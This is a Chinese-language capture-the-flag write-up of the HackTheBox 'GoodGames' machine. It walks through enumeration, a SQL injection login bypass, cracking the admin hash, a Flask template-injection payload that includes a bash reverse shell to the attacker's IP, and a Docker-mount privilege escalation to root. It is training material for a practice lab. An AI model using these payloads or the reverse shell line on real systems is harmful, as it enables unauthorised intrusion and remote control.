前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackTheBox - Machines - GoodGames

HackTheBox - Machines - GoodGames

作者头像
kam1
发布2022-03-08 13:59:26
6890
发布2022-03-08 13:59:26
举报

HacktheBox - Machines - GoodGame

靶机ip:10.10.11.130 攻击机IP:10.10.14.28

1.信息搜集

代码语言:javascript
复制
Nmap scan report for 10.10.11.130  
Host is up (0.30s latency).  
Not shown: 999 closed tcp ports (reset)  
PORT   STATE SERVICE VERSION  
80/tcp open  http    Apache httpd 2.4.51  
|\_http-title: GoodGames | Community and Store  
|\_http-server-header: Werkzeug/2.0.2 Python/3.9.2  
Service Info: Host: goodgames.htb  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 20.22 seconds

只有一个tcp 80 端口开放,并且有域名,那么在 c:\windows\system32\drivers\etc\hosts 文件中添加ip对应的域名即可成功访问。

来到web页面,发现是一个游戏相关的网站,其中图片链接打开后去除图片名并不存在目录遍历

页面其他链接都指向页面本身,除了有一个 BlogStore 以及右上角的小人图标

Blog 页面只发现这一个有用的链接,尝试了sql注入发现并不存在。

此时扫描目录和子域名爆破同时进行:

子域名无结果

目录扫描结果如下:

代码语言:javascript
复制
Target: http://goodgames.htb/  
  
[19:25:35] Starting:  
[19:27:05] 200 -   43KB - /blog  
[19:27:50] 200 -    9KB - /login  
[19:27:52] 302 -  208B  - /logout  ->  http://goodgames.htb/  
[19:28:15] 200 -    9KB - /profile  
[19:28:27] 200 -   33KB - /signup  
  
Task Completed

直接访问login、profile 分别提示405、500,web框架使用的 Flask

点击首页的右上角小人图标,弹出一个表单,登录、密码找回、注册用户。

这里不知道邮箱和密码,先看看注册功能,点击注册 跳转到一个可以注册可以登录的页面 signup

这里我注册admin@goodgames.htb显示账户已存在,这时候肯定爆破一下弱口令。

但是结果可想而知,并不理想,因为网络有点不稳定,所以跑了500就没跑了。

自己注册一个 kam1 用户,登录之后再看看profile里面有些什么东西。

此时得到信息:该靶机只有一个80端口开放,没有发现子域名,没有敏感信息泄露,无SSTI(模板注入),弱口令夭折,得到可访问页面若干

2.漏洞利用

0x01. SQL注入

来到profile界面之后,发现页面只有一个重置密码的功能,并无其他资料修改的功能

抓包 修改密码 看看有没有越权

好!没有越权操作。

抠了一下脑壳,突然想到,blog页面的get传参sql注入测试过没有,但是表单这里还有没有测试sql注入呀。

既然说出来了那么就要有行动,RUSH!

Login Success!

刚刚页面有欢迎语句,搜索一下Welcome看看现在是什么身份。

这里有三个用户,admin、kami、kam1 后面两个都是我注册的。

现在去登录页面,因为前端js校验邮箱正确与否,输入正确邮箱格式抓包修改参数即可。

虽然成功进入了后台,但是并没有啥卵用啊,啥功能也没有。

还是回到sql注入找找信息吧。

逐字猜解,有四个字段,回显点在第四个字段

因为之前爆用户的时候可以看到将三个用户名紧凑在一起,所以上面用分号隔开来了。

当前得到信息:当前用户并非dba权限,数据库中只有maininformation_schema两个库,user表中有四个字段,分别是idemailpasswordname

查询一下这个表里面的所有东西

password值是md5加密的,去撞库看看能不能得到明文

得到密码:superadministrator

0x02. SSTI(模板注入)

通过管理员登录之后可以看到原先右上角的两个图标变成了三个,多出来一个小齿轮,鼠标指针移动到这发现是跳转到一个子域名,在hosts文件中添加后,跳转访问。

直接就是一个flask登录表单页面,没有其他的花里胡哨的东西,同样admin,pass:superadministraotr登录成功

登陆之后发现文件上传、添加用户、搜索等功能,但是经过测试,这些都是指向页面本身,并没有其他作用

好在这里还有一个设置页面,可以修改用户名,插入一条xss语句

页面编程语言依旧是python,同样使用的flask

flask存在一个SSTI,那么现在来测试一下便知:poc:{{9\*9}} 如果得到结果81,则存在SSTI

测试结果为81,当前存在SSTI

既然存在SSTI,接下来就是执行系统命令的阶段了,原理方面就是通过python调用本身的类中的函数去执行一些自己想要执行的操作,比如执行命令,文件读取等。

代码语言:javascript
复制
payload:

{{ namespace.__init__.__globals__.os.popen('id').read() }}

执行id命令成功,现在反弹一个shell过来。

代码语言:javascript
复制
exploit:
{{namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.28/1234 0>&1"').read()}}

3. 权限提升

来到根目录,ls -la一下发现有一个 .dockerenv 看来这是在docker中了。

通过ifconfig可以看到这里还有另外一个ip:172.19.0.2,循环ping一下这个网段有几台主机

只发现了还有一个 172.19.0.1,多半是docker的主机了。

循环ping一下这台机器的所有端口,只有22和80端口开放。

尝试ssh,刚刚在/home/augustus中找到了user.txt,这里直接用这个用户吧

登录成功,账号augustus,密码superadministrator

hostname -i 确定现在这台机器就是靶机,查看一下进程果然有docker进程

这边用户ls -la 列出来的文件 .bash_logout .bashrc .profile和docker中的文件大小一模一样,但是时间差了一个小时

那么我试试是否是在主机中创建文件,同样docker中也会有

可以看到,我在主机中创建了一个1.txt这时候再去docker中查看文件,docker中也生成了一个1.txt

那我再在docker中创建一个文件,看看是否主机会有反应呢。

可以看到我在docker中创建的txt跟上面一样,同时在宿主机中创建了,并且是root的权限

既然现在文件可以同步,可以尝试将宿主机的bash cp到augustus的目录,然后再在docker中将其权限设置为root去宿主机运行是否能得到一个root的shell呢

如此一来再运行bash这时候就会返回一个root的权限

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-03-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HacktheBox - Machines - GoodGame
    • 1.信息搜集
      • 2.漏洞利用
        • 0x01. SQL注入
        • 0x02. SSTI(模板注入)
      • 3. 权限提升
      相关产品与服务
      容器镜像服务
      容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档